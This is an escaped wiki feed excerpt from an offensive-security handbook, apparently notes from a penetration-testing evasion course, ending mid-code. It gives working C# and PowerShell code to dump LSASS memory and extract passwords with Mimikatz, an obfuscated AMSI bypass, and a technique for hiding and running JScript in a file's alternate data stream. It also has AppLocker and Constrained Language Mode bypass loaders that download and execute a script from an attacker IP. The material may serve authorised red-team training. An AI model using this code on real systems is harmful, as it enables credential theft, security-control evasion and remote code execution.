* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2359</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2359"/>
		<updated>2026-03-16T11:37:44Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
